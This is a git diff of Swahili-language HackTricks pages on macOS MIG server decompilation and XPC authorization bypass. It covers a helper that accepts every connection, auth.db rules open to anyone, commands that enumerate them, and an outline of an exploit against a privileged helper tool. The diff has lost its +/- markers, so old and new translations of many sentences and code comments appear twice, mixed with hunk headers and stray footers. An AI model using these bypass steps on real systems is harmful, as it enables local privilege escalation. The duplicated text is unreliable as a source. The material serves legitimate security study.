[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) inaweza kuchambua habari za MIG kutoka kwa binary ya Mach-O ikionyesha kitambulisho cha ujumbe na kutambua kazi ya kutekeleza:
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
Ilitajwa hapo awali kwamba kazi ambayo itashughulikia **kuita kazi sahihi kulingana na kitambulisho cha ujumbe uliopokelewa** ilikuwa `myipc_server`. Walakini, kawaida hautakuwa na alama za binary (hakuna majina ya kazi), kwa hivyo ni muhimu **kuangalia jinsi inavyoonekana baada ya kudecompile** kwani itakuwa sawa daima (msimbo wa kazi hii ni huru kutoka kwa kazi zilizofichuliwa):
Ilitajwa hapo awali kwamba kazi itakayoshughulikia **wito wa kazi sahihi kulingana na kitambulisho cha ujumbe uliopokelewa** ilikuwa `myipc_server`. Walakini, kwa kawaida hautakuwa na alama za binary (majina ya kazi), kwa hivyo ni muhimu **kuangalia jinsi ilivyoonekana baada ya kudecompile** kwani itakuwa sawa sana (msimbo wa kazi hii ni huru kutoka kwa kazi zilizofunuliwa):
{% tabs %}
{% tab title="myipc_server kudecompile 1" %}
{% tab title="myipc_server decompiled 1" %}
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
var_10 = arg0;
var_18 = arg1;
// Maagizo ya awali ya kupata pointa sahihi za kazi
// Maelekezo ya awali ya kupata pointers sahihi za kazi
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@ -303,20 +245,20 @@ var_18 = arg1;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// Wito wa sign_extend_64 ambao unaweza kusaidia kutambua kazi hii
// Hii inahifadhi rax kama pointa kwa wito ambao unahitaji kuitwa
// Angalia matumizi ya anwani 0x100004040 (orodha ya anwani za kazi)
// 0x1f4 = 500 (kitambulisho cha kuanzia)
// Wito wa sign_extend_64 unaweza kusaidia kutambua kazi hii
// Hii inahifadhi katika rax pointer kwa wito unahitaji kuitwa
// Angalia matumizi ya anwani 0x100004040 (anwani za kazi)
// 0x1f4 = 500 (ID ya kuanzia)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
// If - else, ikiwa if inarudi uongo, wakati else inaita kazi sahihi na inarudi kweli
// Ikiwa - vinginevyo, ikiwa inarudi uongo, wakati vinginevyo inaita kazi sahihi na inarudi kweli
<strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
var_4 = 0x0;
}
else {
// Anwani iliyohesabiwa ambayo inaita kazi sahihi na ina vigezo 2
// Anwani iliyohesabiwa inayoitisha kazi sahihi na vigezo 2
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -332,8 +274,8 @@ return rax;
</code></pre>
{% endtab %}
{% tab title="myipc_server kudecompile 2" %}
Hii ni kazi ile ile iliyokudecompile katika toleo tofauti la Hopper free:
{% tab title="myipc_server decompiled 2" %}
Hii ni kazi sawa iliyodecompilewa kwenye toleo tofauti la Hopper bure:
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
@ -341,7 +283,7 @@ saved_fp = r29;
stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// Maagizo ya awali ya kupata pointa sahihi za kazi
// Maelekezo ya awali ya kupata pointers sahihi za kazi
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@ -365,7 +307,7 @@ r8 = 0x1;
}
if ((r8 &#x26; 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (kitambulisho cha kuanzia)
// 0x1f4 = 500 (ID ya kuanzia)
<strong> r8 = r8 - 0x1f4;
</strong> asm { smaddl x8, w8, w9, x10 };
r8 = *(r8 + 0x8);
@ -376,15 +318,15 @@ if (CPU_FLAGS &#x26; NE) {
r8 = 0x1;
}
}
// If - else ile ile kama katika toleo la awali
// Angalia matumizi ya anwani 0x100004040 (orodha ya anwani za kazi)
// Ile ile if else kama katika toleo lililopita
// Angalia matumizi ya anwani 0x100004040 (anwani za kazi)
<strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
else {
// Wito kwa anwani iliyohesabiwa ambapo kazi inapaswa kuwa
// Wito kwenye anwani iliyohesabiwa ambapo kazi inapaswa kuwa
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -408,12 +350,14 @@ return r0;
{% endtab %}
{% endtabs %}
Kwa kweli, ikiwa unakwenda kwenye kazi **`0x100004000`** utapata safu ya muundo wa **`routine_descriptor`**. Kipengele cha kwanza cha muundo huo ni **anwani** ambapo **kazi** imefanywa, na **muundo unachukua byte 0x28**, kwa hivyo kila baada ya byte 0x28 (kuanzia byte 0) unaweza kupata byte 8 na hiyo itakuwa **anwani ya kazi** ambayo itaitwa:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Kwa kweli ikiwa unakwenda kwenye kazi **`0x100004000`** utapata safu ya **muundo wa maelekezo**. Elementi ya kwanza ya muundo ni **anwani** ambapo **kazi** imefanywa, na **muundo unachukua 0x28 bytes**, kwa hivyo kila 0x28 bytes (kuanzia byte 0) unaweza kupata 8 bytes na hiyo itakuwa **anwani ya kazi** itakayoitwa:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Data hii inaweza kuchimbwa [**
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Data hii inaweza kuchimbuliwa [**kwa kutumia script ya Hopper hii**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,28 +1,28 @@
# Uthibitishaji wa XPC kwenye macOS
# Uthibitisho wa XPC kwenye macOS
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS wa HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Uthibitishaji wa XPC
## Uthibitisho wa XPC
Apple pia inapendekeza njia nyingine ya kuthibitisha ikiwa mchakato unaounganisha una **ruhusa ya kuita njia ya XPC iliyofichuliwa**.
Wakati programu inahitaji **kutekeleza vitendo kama mtumiaji mwenye mamlaka**, badala ya kuendesha programu kama mtumiaji mwenye mamlaka, kawaida inasakinisha kama mizizi HelperTool kama huduma ya XPC ambayo inaweza kuitwa na programu kutekeleza vitendo hivyo. Walakini, programu inayoitisha huduma hiyo inapaswa kuwa na idhini ya kutosha.
Wakati programu inahitaji **kutekeleza vitendo kama mtumiaji aliye na ruhusa**, badala ya kuendesha programu kama mtumiaji aliye na ruhusa kawaida inaunda kama mtumiaji wa mizizi HelperTool kama huduma ya XPC ambayo inaweza kuitwa na programu kutekeleza vitendo hivyo. Walakini, programu inayoiita huduma hiyo inapaswa kuwa na idhini ya kutosha.
### ShouldAcceptNewConnection daima YES
Mfano unaweza kupatikana katika [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Katika `App/AppDelegate.m` inajaribu **kuunganisha** na **HelperTool**. Na katika `HelperTool/HelperTool.m` kazi ya **`shouldAcceptNewConnection`** **haitathibitisha** mahitaji yoyote yaliyotajwa hapo awali. Itarudi YES daima:
Mfano unaweza kupatikana katika [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Katika `App/AppDelegate.m` inajaribu **kuunganisha** na **HelperTool**. Na katika `HelperTool/HelperTool.m` kazi ya **`shouldAcceptNewConnection`** **haitathibitisha** mahitaji yoyote yaliyotajwa hapo awali. Itarudi daima YES:
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
@ -39,7 +39,7 @@ newConnection.exportedObject = self;
return YES;
}
```
Kwa habari zaidi kuhusu jinsi ya kusanidi ukaguzi huu kwa usahihi:
Kwa habari zaidi kuhusu jinsi ya configure hii check ipasavyo:
{% content-ref url="macos-xpc-connecting-process-check/" %}
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
@ -49,8 +49,8 @@ Kwa habari zaidi kuhusu jinsi ya kusanidi ukaguzi huu kwa usahihi:
Hata hivyo, kuna **idhini inayofanyika wakati njia kutoka HelperTool inaitwa**.
Kazi ya **`applicationDidFinishLaunching`** kutoka `App/AppDelegate.m` itaunda kumbukumbu ya idhini tupu baada ya programu kuanza. Hii daima inapaswa kufanya kazi.\
Kisha, itajaribu **kuongeza baadhi ya haki** kwa kumbukumbu hiyo ya idhini kwa kuita `setupAuthorizationRights`:
Kazi ya **`applicationDidFinishLaunching`** kutoka `App/AppDelegate.m` itaunda kumbukumbu tupu ya idhini baada ya programu kuanza. Hii daima inapaswa kufanya kazi.\
Kisha, itajaribu **kuongeza baadhi ya haki** kwenye kumbukumbu hiyo ya idhini kwa kuita `setupAuthorizationRights`:
```objectivec
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
@ -74,7 +74,7 @@ if (self->_authRef) {
[self.window makeKeyAndOrderFront:self];
}
```
Kazi ya `setupAuthorizationRights` kutoka `Common/Common.m` itahifadhi katika database ya uthibitishaji `/var/db/auth.db` haki za programu. Tafadhali kumbuka jinsi itakavyoongeza haki ambazo bado hazipo katika database:
Funguo `setupAuthorizationRights` kutoka `Common/Common.m` itahifadhi katika database ya idhini `/var/db/auth.db` haki za programu. Tafadhali kumbuka jinsi itakavyoongeza haki ambazo bado hazipo katika database:
```objectivec
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
}];
}
```
Kazi ya `enumerateRightsUsingBlock` ndiyo inayotumiwa kupata ruhusa za programu, ambazo zinatambuliwa katika `commandInfo`:
Funguo `enumerateRightsUsingBlock` ndiyo hutumika kupata ruhusa za programu, ambazo zinadefiniwa katika `commandInfo`:
```objectivec
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
@ -184,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
}];
}
```
Hii inamaanisha kuwa mwishoni mwa mchakato huu, ruhusa zilizotangazwa ndani ya `commandInfo` zitahifadhiwa katika `/var/db/auth.db`. Tazama jinsi unavyoweza kupata kwa **kila njia** ambayo itahitaji uwakilishi, jina la ruhusa na **`kCommandKeyAuthRightDefault`**. Ile ya mwisho **inabainisha ni nani anaweza kupata haki hii**.
Hii inamaanisha kwamba mwishoni mwa mchakato huu, ruhusa zilizotangazwa ndani ya `commandInfo` zitahifadhiwa katika `/var/db/auth.db`. Tafadhali angalia jinsi unavyoweza kupata kwa **kila njia** itakayohitaji **uthibitisho**, **jina la ruhusa** na **`kCommandKeyAuthRightDefault`**. Ile ya mwisho **inaonyesha ni nani anaweza kupata haki hii**.
Kuna wigo tofauti wa kuonyesha ni nani anaweza kupata haki. Baadhi yao yamefafanuliwa katika [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (unaweza kupata [yote hapa](https://www.dssw.co.uk/reference/authorization-rights/)), lakini kwa muhtasari:
Kuna mizunguko tofauti ya kuonyesha ni nani anaweza kupata haki. Baadhi yao yamefafanuliwa katika [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (unaweza kupata [zote hapa](https://www.dssw.co.uk/reference/authorization-rights/)), lakini kwa muhtasari:
<table><thead><tr><th width="284.3333333333333">Jina</th><th width="165">Thamani</th><th>Maelezo</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>ruhusu</td><td>Yeyote</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>kataa</td><td>Hakuna mtu</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>ni-admin</td><td>Mtumiaji wa sasa lazima awe msimamizi (ndani ya kikundi cha msimamizi)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>thibitisha-mmiliki-wa-kikao</td><td>Mwombe mtumiaji athibitishe.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>thibitisha-msimamizi</td><td>Mwombe mtumiaji athibitishe. Anahitaji kuwa msimamizi (ndani ya kikundi cha msimamizi)</td></tr><tr><td>kAuthorizationRightRule</td><td>kanuni</td><td>Bainisha kanuni</td></tr><tr><td>kAuthorizationComment</td><td>maoni</td><td>Bainisha maoni ya ziada kuhusu haki</td></tr></tbody></table>
<table><thead><tr><th width="284.3333333333333">Jina</th><th width="165">Thamani</th><th>Maelezo</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>ruhusu</td><td>Mtu yeyote</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>kataa</td><td>Hakuna mtu</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>ni-admin</td><td>Mtumiaji wa sasa lazima awe msimamizi (ndani ya kikundi cha wasimamizi)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>uthibitishe-mmiliki-wa-kikao</td><td>Uliza mtumiaji athibitishe.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>uthibitishe-msimamizi</td><td>Uliza mtumiaji athibitishe. Lazima awe msimamizi (ndani ya kikundi cha wasimamizi)</td></tr><tr><td>kAuthorizationRightRule</td><td>kanuni</td><td>Bayana sheria</td></tr><tr><td>kAuthorizationComment</td><td>maoni</td><td>Bayana maoni ya ziada kuhusu haki</td></tr></tbody></table>
### Uhakiki wa Haki
### Uthibitisho wa Haki
Katika `HelperTool/HelperTool.m` kazi ya **`readLicenseKeyAuthorization`** inathibitisha ikiwa mpigaji simu ana ruhusa ya **kutekeleza njia hiyo** kwa kuita kazi ya **`checkAuthorization`**. Kazi hii itathibitisha kuwa **authData** iliyotumwa na mchakato unaopiga simu ina **muundo sahihi** na kisha itathibitisha **ni nini kinachohitajika kupata haki** ya kuita njia maalum. Ikiwa mambo yote yanaenda vizuri, **`error` itakayorudishwa itakuwa `nil`**:
Katika `HelperTool/HelperTool.m` kazi ya **`readLicenseKeyAuthorization`** inachunguza ikiwa mpigaji simu ameidhinishwa kutekeleza **njia hiyo** kwa kuita kazi ya **`checkAuthorization`**. Kazi hii itachunguza ikiwa **authData** iliyotumwa na mchakato unayopiga simu ina **muundo sahihi** na kisha itachunguza **nini kinahitajika kupata haki** ya kuita njia maalum. Ikiwa mambo yote yanaenda vizuri, **kosa lililorudishwa litakuwa `nil`**:
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@ -240,19 +240,19 @@ assert(junk == errAuthorizationSuccess);
return error;
}
```
Tafadhali kumbuka kuwa ili **kuchunguza mahitaji ya kupata haki** ya kuita njia hiyo, kazi ya `authorizationRightForCommand` itachunguza tu kitu cha hapo awali **`commandInfo`**. Kisha, itaita **`AuthorizationCopyRights`** kuangalia **kama ina haki** ya kuita kazi (kumbuka kuwa bendera huruhusu mwingiliano na mtumiaji).
Tafadhali elewa kwamba **kuchunguza mahitaji ya kupata haki** ya kuita hiyo njia, kazi `authorizationRightForCommand` itaangalia tu kipengele kilichotangazwa hapo awali **`commandInfo`**. Kisha, itaita **`AuthorizationCopyRights`** kuangalia **ikiwa ina haki** ya kuita hiyo njia (tambua kuwa bendera huruhusu mwingiliano na mtumiaji).
Katika kesi hii, ili kuita kazi ya `readLicenseKeyAuthorization`, `kCommandKeyAuthRightDefault` imefafanuliwa kuwa `@kAuthorizationRuleClassAllow`. Kwa hivyo, **mtu yeyote anaweza kuita**.
Katika kesi hii, ili kuita hiyo njia `readLicenseKeyAuthorization` `kCommandKeyAuthRightDefault` imedhamiriwa kuwa `@kAuthorizationRuleClassAllow`. Hivyo **yeyote anaweza kuita**.
### Taarifa za DB
Ilitajwa kuwa taarifa hii imehifadhiwa katika `/var/db/auth.db`. Unaweza kuorodhesha sheria zote zilizohifadhiwa na:
Ilitajwa kuwa taarifa hii imehifadhiwa katika `/var/db/auth.db`. Unaweza kuorodhesha sheria zote zilizohifadhiwa kwa:
```sql
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
```
Kisha, unaweza kusoma ni nani anayeweza kupata haki kwa:
Kisha, unaweza kusoma ni nani anaweza kupata ufikiaji kwa haki na:
```bash
security authorizationdb read com.apple.safaridriver.allow
```
@ -261,16 +261,16 @@ security authorizationdb read com.apple.safaridriver.allow
Unaweza kupata **mipangilio yote ya ruhusa** [**hapa**](https://www.dssw.co.uk/reference/authorization-rights/), lakini mchanganyiko ambao hautahitaji ushirikiano wa mtumiaji ni:
1. **'authenticate-user': 'false'**
* Hii ni funguo ya moja kwa moja zaidi. Ikiwekwa kama `false`, inabainisha kuwa mtumiaji hahitaji kutoa uwakilishi ili kupata haki hii.
* Inatumika **kwa kushirikiana na moja ya chini au kuonyesha kikundi** ambacho mtumiaji lazima awe mwanachama.
* Hii ni funguo moja moja zaidi. Ikiwekwa kama `false`, inabainisha kwamba mtumiaji hahitaji kutoa uthibitisho kupata haki hii.
* Hutumiwa katika **mchanganyiko na moja ya 2 hapa chini au kuonyesha kikundi** ambacho mtumiaji lazima awe mwanachama.
2. **'allow-root': 'true'**
* Ikiwa mtumiaji anafanya kazi kama mtumiaji wa mizizi (ambaye ana ruhusa zilizoongezeka), na funguo hii imewekwa kama `true`, mtumiaji wa mizizi anaweza kupata haki hii bila uwakilishi zaidi. Walakini, kwa kawaida, kufikia hadhi ya mtumiaji wa mizizi tayari kunahitaji uwakilishi, kwa hivyo hii sio hali ya "bila uwakilishi" kwa watumiaji wengi.
* Ikiwa mtumiaji anafanya kazi kama mtumiaji wa mizizi (ambaye ana ruhusa zilizoinuliwa), na funguo hii imewekwa kama `true`, mtumiaji wa mizizi anaweza kupata haki hii bila uthibitisho zaidi. Walakini, kwa kawaida, kufikia hadhi ya mtumiaji wa mizizi tayari kunahitaji uthibitisho, kwa hivyo hii siyo hali ya "bila uthibitisho" kwa watumiaji wengi.
3. **'session-owner': 'true'**
* Ikiwekwa kama `true`, mmiliki wa kikao (mtumiaji aliyeingia kwa sasa) atapata haki hii moja kwa moja. Hii inaweza kuepuka uwakilishi wa ziada ikiwa mtumiaji tayari ameingia kwenye mfumo.
* Ikiwekwa kama `true`, mmiliki wa kikao (mtumiaji aliyeingia kwenye mfumo) atapata haki hii moja kwa moja. Hii inaweza kupuuza uthibitisho wa ziada ikiwa mtumiaji tayari ameingia kwenye mfumo.
4. **'shared': 'true'**
* Funguo hii haipati haki bila uwakilishi. Badala yake, ikiwekwa kama `true`, inamaanisha kuwa mara haki imehakikiwa, inaweza kushirikiwa kati ya michakato mingi bila kila moja kuhitaji uwakilishi tena. Lakini utoaji wa awali wa haki bado utahitaji uwakilishi isipokuwa ikiunganishwa na funguo zingine kama `'authenticate-user': 'false'`.
* Funguo hii haipati haki bila uthibitisho. Badala yake, ikiwekwa kama `true`, inamaanisha kwamba mara haki imeidhinishwa, inaweza kugawanywa kati ya michakato mingi bila kila moja kuhitaji kuthibitisha tena. Lakini kuidhinishwa kwa awali kwa haki hiyo bado itahitaji uthibitisho isipokuwa imechanganywa na funguo zingine kama `'authenticate-user': 'false'`.
Unaweza [**kutumia hati hii**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) kupata haki za kuvutia:
Unaweza [**kutumia skripti hii**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) kupata haki za kuvutia:
```bash
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@ -281,29 +281,29 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
```
## Kurejesha Uthibitisho
## Kugeuza Idhini
### Kuangalia ikiwa EvenBetterAuthorization inatumika
Ikiwa utapata kazi: **`[HelperTool checkAuthorization:command:]`** inawezekana kuwa mchakato unatumia mpango uliotajwa hapo awali kwa uthibitisho:
Ikiwa utapata kazi: **`[HelperTool checkAuthorization:command:]`** labda mchakato unatumia mfumo uliotajwa hapo awali kwa idhini:
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa kazi hii inaita kazi kama vile `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, inatumia [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
Kwa hivyo, ikiwa kazi hii inaita kazi kama `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, inatumia [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
Angalia **`/var/db/auth.db`** ili kuona ikiwa ni rahisi kupata ruhusa ya kuita hatua fulani ya kipekee bila ushiriki wa mtumiaji.
Angalia **`/var/db/auth.db`** kuona ikiwa ni rahisi kupata ruhusa ya kuita hatua fulani ya kipekee bila ushirikiano wa mtumiaji.
### Mawasiliano ya Itifaki
Kisha, unahitaji kupata mpango wa itifaki ili uweze kuweka mawasiliano na huduma ya XPC.
Kisha, unahitaji kupata mfumo wa itifaki ili uweze kuanzisha mawasiliano na huduma ya XPC.
Kazi ya **`shouldAcceptNewConnection`** inaonyesha itifaki inayotolewa:
Kazi **`shouldAcceptNewConnection`** inaonyesha mfumo wa itifaki unaozalishwa:
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Katika kesi hii, tuna kitu kile kile kama katika EvenBetterAuthorizationSample, [**angalia mstari huu**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
Katika kesi hii, tuna kitu sawa na EvenBetterAuthorizationSample, [**angalia mstari huu**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
Kwa kujua jina la itifaki iliyotumiwa, inawezekana **kudumpa ufafanuzi wake wa kichwa** na:
Kwa kujua, jina la itifaki iliyotumiwa, ni rahisi **kudondosha ufafanuzi wake wa kichwa** na:
```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@ -317,13 +317,13 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@end
[...]
```
Mwisho, tunahitaji kujua **jina la Huduma ya Mach iliyofichuliwa** ili kuweza kuwasiliana nayo. Kuna njia kadhaa za kupata hii:
Mwisho, tunahitaji kujua **jina la Huduma ya Mach iliyofichuliwa** ili kuanzisha mawasiliano nayo. Kuna njia kadhaa za kupata hii:
* Katika **`[HelperTool init]`** ambapo unaweza kuona Huduma ya Mach inayotumiwa:
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Katika plist ya launchd:
* Katika faili ya uzinduzi ya launchd:
```xml
cat /Library/LaunchDaemons/com.example.HelperTool.plist
@ -336,14 +336,14 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
</dict>
[...]
```
### Mfano wa Kutumia Udhaifu
### Mfano wa Kutumia
Katika mfano huu imeundwa:
* Ufafanuzi wa itifaki na kazi zake
* Uthibitisho tupu wa kutumia kuomba ufikiaji
* Uunganisho kwenye huduma ya XPC
* Wito kwa kazi ikiwa uunganisho ulifanikiwa
* Kitambulisho tupu cha uthibitishaji kutumika kuomba ufikiaji
* Uunganisho kwa huduma ya XPC
* Wito kwa kazi endapo uunganisho ulifanikiwa
```objectivec
// gcc -framework Foundation -framework Security expl.m -o expl
@ -427,14 +427,14 @@ NSLog(@"Finished!");
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
